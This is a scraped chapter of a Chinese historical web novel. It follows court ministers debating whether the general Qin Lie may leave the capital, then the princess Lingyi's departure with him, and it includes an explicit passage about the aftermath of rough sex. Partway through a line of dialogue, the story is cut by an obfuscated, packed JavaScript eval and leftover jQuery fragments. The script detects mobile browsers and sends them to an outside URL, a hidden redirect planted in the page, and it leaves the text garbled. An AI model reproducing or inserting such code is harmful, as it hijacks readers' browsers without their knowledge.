默认冷灰
24号文字
方正启体

6. 离京

作者:行期一本书字数:K更新时间:
    来自冀州的奏章安静躺在御案上,嘉禾帝召老首辅和郭相进宫商议。


    公主远嫁,成亲后何时离京并没定例,有的大婚后几日便走,也有如嘉禾帝的胞妹,因着先帝不舍,在京城住了足足三年。


    大翰太祖本是前朝武将,一朝黄袍加身夺了天下,对武将甚为提防,虽给了恩宠却疑窦难消。嘉禾帝如今对秦烈便是如此,只有将人放在眼皮底下方才安心。


    可冀州急报,之前的匈奴单于被其兄弟忽尔岩夺位。


    忽尔岩与好大喜功的其兄不同,务实狠厉,善于忍耐,其母族尽皆被其兄所杀,他在仇人眼下隐忍十余年,今朝方报仇雪恨。


    他也不像其兄,几十万大军压境,而是集中兵力攻打冀州的前哨小城,草原骑兵进退极速来去如风,打得下便烧杀抢掠,打不了便骚扰一番,将士们顾首难顾尾,边关百姓日夜提心吊胆苦不堪言。


    定北王请奏祈恳其三子秦烈归冀,戍卫边关,击退匈奴。


    “两位爱卿怎么看?”嘉禾帝问。


    老首辅道:“依老臣愚见,永嘉公主与驸马逗留京城已近月余,虽则皇上与公主父女情深,奈何军情紧急,望皇上以边关数万将士和数十万百姓为念,着永嘉公主与驸马即刻离京。”


    郭相闻言,不由看了老首辅一眼,心道若论起说漂亮话,这个老匹夫当真独步天下。


    这殿中谁不知,嘉禾帝心里打着待公主有孕方放驸马回去,将公主与孩子留在京中做人质的盘算?


    可话又说回来,若是不准定北王的请奏,公主这个月无孕,难道下个月就能有孕?这事谁都无法担保,若是三五个月还没好消息,难不成真把秦烈一直扣在京城?


    “郭相,你意下如何?”嘉禾帝的问话打断他思绪。


    郭相早些年也曾试图摆出老首辅那般说话云里雾里滴水不漏的高人姿态,最后几经挫折后不得不承认,作为一个外戚,他就该摆平自己的位置,认认真真地做一个佞臣。


    ——话可以说得不漂亮,但是圣意要揣摩透彻。


    今天甚至不用揣摩,——若是嘉禾帝愿意放秦烈离开,问完老首辅便罢,根本不会多问他这一句。


    是以他开口说得极为直白。


    “臣与首辅大人意见相左,冀州定北王携大胜之姿,并下通州崇州,如今兵力已达近八万,若生反心,势必会是朝廷心腹之患。自古将军在外妻儿留于京中,秦家人却举家外任,与京中亲眷稀薄,现下难得征北将军在京中,怎可放虎归山?”


    嘉禾帝皱眉:“郭相失言,朕岂会怀疑定北王一家的忠心?!”


    郭相忙跪下道:“或是臣卑鄙,以小人之心度君子之腹。可周公恐惧流言日,王莽谦恭未篡时,为了大庆江山社稷,还望皇上明鉴!”


    说完以额触地,几乎涕泪横流。


    嘉禾帝微微动容:“郭相平身,你一片忠心皆为社稷,朕自然懂得。”


    老首辅冷眼看他们君臣好一阵唱念坐打后,方道:“崔相多虑,冀州兵众,却需镇守边关,不可擅动。定北王年高,世子体弱,征北将军虽有些许城府,也不过是急躁刚愎的一介武夫,便是有反心亦难成气候,不足为惧。”


    嘉禾帝问:“何以见得?”


    老首辅道:“秦烈进京前对永嘉公主极为抵触,成亲后却沉迷美色,足见其意志不坚;不过被人三言两语撩拨,一时气愤便自曝己短,足见其城府不深。其弟秦洪,在京中行走时言行无状,行事霸道暴戾,足见秦家教子无方。”


    将军府漏的跟筛子似的,这些根本不是秘密。


    至于秦洪,其行事简直令人瞠目结舌。


    京城中世家子弟皆以风雅为美,终日宽袍广袖敷粉插花,抚琴吟诗以为风流。秦洪一个来自边关的土包子,始终一身劲装,不学无术,言行粗鲁。


    有时候当真受到排挤,有时候不过是物以类聚人以群分不与他来往,秦洪便认定这些世家子弟看不起自己,竟然买通一批地痞流氓,几次三番寻着落单的子弟拖进暗巷便是一顿打。


    他洋洋得意,自以为无人知晓,实则处处漏洞。


    若不是老首辅压着,京府州牧早将他捉拿下狱。


    这般横行霸道,且殴打的不乏一品大员的子侄,可见其任性妄为,或者说荒唐到了何等地步!


    嘉禾帝第一次听到此事,不由沉吟起来。在一旁听训的太子与七皇子亦觉得难以置信。


    京中人勾心斗角彼此倾轧何等严重,可大家再如何,也不会使出如此不入流的手段,立时便生出一个想法,也只有冀州那种偏远之地,才养的出这等无知莽夫!


    若是这等人家也能成为天家改朝换代,那他们这些终日小心翼翼汲汲营营的人岂不成了笑话?


    郭相见老首辅三言两语便改了殿中形势,开口道:“首辅大人此言差矣,只说那秦烈唯独不愿娶永嘉公主,便是他一家之言,焉知不是做戏好降低我等防心?”


    老首辅抚须道:“老夫为朝廷经营暗卫数十年,岂会因旁人一句话便轻易相信?殊不知其中自然有所依凭。”


    “定北王曾有一长女,少时出游结识了青州一县丞,那县丞乃是嘉禾七年的探花郎。不过二十一二,能三甲及第足见才华横溢,被圣上钦点为探花,自然是长相十分出众的青年才俊。两人暗生情愫,与第二年成亲,婚后亦有过两年鹣鲽情深的时光。那县丞能力出众,又得定北王照拂,三年期满朝廷评定为优,调任江南富庶之地为郡守。甫时秦家自然舍不得女儿远嫁,欲将女婿女儿留在身边以便看顾。却被长女拒绝,一来嫁夫从夫不愿因为自己耽误了丈夫前程,二来她自己也想去江南到底如何繁华。”


    “在赴任的路上,两人遇到一对被山贼追杀的夫妻,长女着人将两人救下。得知两人家中从商原本颇为富足,后来家道中落,本拿着仅剩的余钱搏一把,不想路上又被山贼将货物劫走,以后竟是没了活路。长女本就有侠义之风,又觉与那位落难的夫人颇为投契,便做主让两人随她们一起上任,并将他们安顿在自己家中。”


    老首辅叹息:“她本是一片好心,却不想引狼入室,那落难妻子乃是青楼出身,当年哄得富家子弟为她赎身,如今丈夫家道中落,她又看上了探花郎。青楼女子手段繁多,探花郎如何禁得起她百般引诱,不多时两人便勾搭成奸。那女子先毒害了自己丈夫,又故意设计让身怀六甲的秦家长女撞见他们的奸情,以至难产而亡。”


    “定北王常年镇守边关,那长女自幼长在老夫人膝下,如珍似宝,消息传到冀州,老夫人当下便昏厥过去。醒来后定下规矩,秦家男子,不娶娼,不纳妓,不养外室,凡有违之自族谱除名。”


    “秦烈与他这位长姐感情甚笃,初时来往青州便是带着幼弟秦烈以作掩护。闻听长姐死讯,秦烈既痛又悔,不经通报离开军营策马急奔江南,最后被定北王拦下,以军纪重笞百余下直至衣衫血透仍不认错。是以老臣才断定,秦烈当日嫌弃永嘉公主生母并非矫饰。”


    嘉禾帝赞许:“老师向来行事缜密,朕最放心不过。”


    崔相听到老师两个字便知这次又是老首辅赢下一局。


    自御书房出来,老首辅与太子,七皇子与郭相,四人立时泾渭分明。


    哪怕恨不得对方立毙当场,也得礼貌话别,待七皇子与郭相走后,太子才扶着老首辅慢慢步下白玉阶。


    适才圣前片刻,老首辅便有些精力不济,只强撑着不愿被郭相看出罢了。


    太子忽而问道:“那探花郎与青楼女子结果如何?”


    老首辅心下失望,面上并不显露,只道:“自然没有什么好下场,数日后,探花郎与那青楼女子被发现双双惨死家中。经仵作验尸每人身上皆不下百处刀伤,奇怪的是,这些伤皆由对方所刺,房中未发现第三人行迹。”


    太子心中发寒:“首辅可知何人所为?”


    老首辅道:“唯一知晓的是那段时日秦家人远在冀州,皆无时间犯案,唯一未现于人前的秦家人,只


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541778|171007||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有在后院养伤的秦烈。”


    见太子面色微变,老首辅问:“太子可知我为何一力促成秦烈归冀?”


    太子摇头,老首辅解释:“若秦烈当真只是一介武夫,留在京城亦无益处。若心机深沉到瞒得过我,这等人物京城势必困不住他。永嘉公主与你兄妹情深,秦烈返回冀州方能成为你的助力。”


    太子不禁问道:“倘若他当真睚眦必报,步步为营,只怕对永嘉公主也不过虚情假意,谈何助力?”


    老首辅淡道:“不过一个公主,便是无用只做一步废棋,又有何可惜?”


    。


    归冀的旨意,与旁人是处心积虑势在必得,于令仪却十分突然。


    她自小生长于深宫内苑,出嫁后其实也被困在这将军府中,便是出于也不过是从府中去往另一个四四方方的深宅大院。


    京城繁华,她从未体会过,离开之际,竟还生出些离愁来。


    房中不少东西已被收起,她支颐坐在窗边,长长地叹了口气。


    昔日她宫中窗外遍植花树,春夏秋冬各有美景,将军府却处处端肃冷硬,从这里看出去只有几棵孤零零的松树寂寥地站在风中。


    可这,已经是她能看到最后的京城秋晚了。


    “公主这般不舍,是不舍京城物,还是京城人?”秦烈问的云淡风轻。


    令仪自然有牵挂的人,可说出来毫无用处。教养嬷嬷教过,公主需得深明大义,不可沉溺一己之私,于是只道:“纵有万般不舍,不抵皇命难违,我们遵旨行事即是。”


    是夜,房中起了久违的动静。


    守夜的宫人初时想着,自公主来了癸水,加上驸马忙着准备离京的诸般事宜,两人数日未曾同房。所谓小别胜新婚,一时情难自禁亦是难免,可不曾想,房内动静竟断断续续响了一夜,期间连水也未叫。


    待到天亮驸马离去,赵嬷嬷等人进去伺候公主沐浴,不由倒抽一口凉气。


    公主身上青紫红痕遍布,手腕与腰间指印明显,胸前身下下甚至水痕jing斑点点犹自未干。


    令仪羞愤莫名,本就所剩不多的英名,今日一朝丧尽。


    尤其当走动时两腿战战,胸前被他咬破的两点嫩处,碰着最为轻软的布料亦觉刺痛,她心中愈发恼怒。


    偏偏今日乃离京之日,众目睽睽,她还得撑出公主仪态不被人察觉。


    秦烈进京时带了四十近卫,令仪做为远嫁公主,护卫团八十侍卫之前一直在驸马署待命,陪嫁的丫鬟内侍,再加上甄氏带回来的下人仆从,还有护送嫁妆的人缘,一行人竟有三百余众。


    令仪出来时众人皆在府外等候,令仪邀请甄氏:“此行路远,公主凤辇更为宽阔舒适,嫂嫂何不与我同坐?”


    甄氏道:“公主好意,本不该推辞。只臣妇曾发下宏愿,需每日念经诵佛,不敢叨扰公主清静。”


    令仪诚心相邀,对甄氏的拒绝亦不意外。


    作为妯娌,令仪曾试过与甄氏亲近,每每被她以礼佛为名,客气又疏离的拒绝。


    令仪不明白,为什么有人会拒绝一个公主的示好,想来甄氏确实诚心礼佛,便不再强求。


    待宫人将令仪扶进凤辇后,长龙般的队伍浩浩汤汤出发。


    公主凤辇过处,两旁百姓皆跪下磕头口呼千岁,令仪掀开布帘,看着沿途跪着的黑压压人群,里面有垂髻小儿,亦有白发老人。有人跪的端端正正,亦有人偷偷抬眼看。


    令仪本来浑身酸软,坐着尚显难受,却不由挺直了脊背,哪怕知道外面无人看到,还是端端正正坐到凤辇驶出城门行至京郊大道,路两旁再无百姓为止。


    秦烈一身轻甲,骑于马上,走在队伍最前方,正要下令加快速度,只听城门那边马声嘶鸣,轮声粼粼,有马车正快速驶来,还有人大呼:“公主请留步!”


    秦洪转身看到是首辅家的马车,不由看了秦烈一眼。


    只见秦烈不过眉峰微挑,面上并无异色,挥手示意车队停下。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)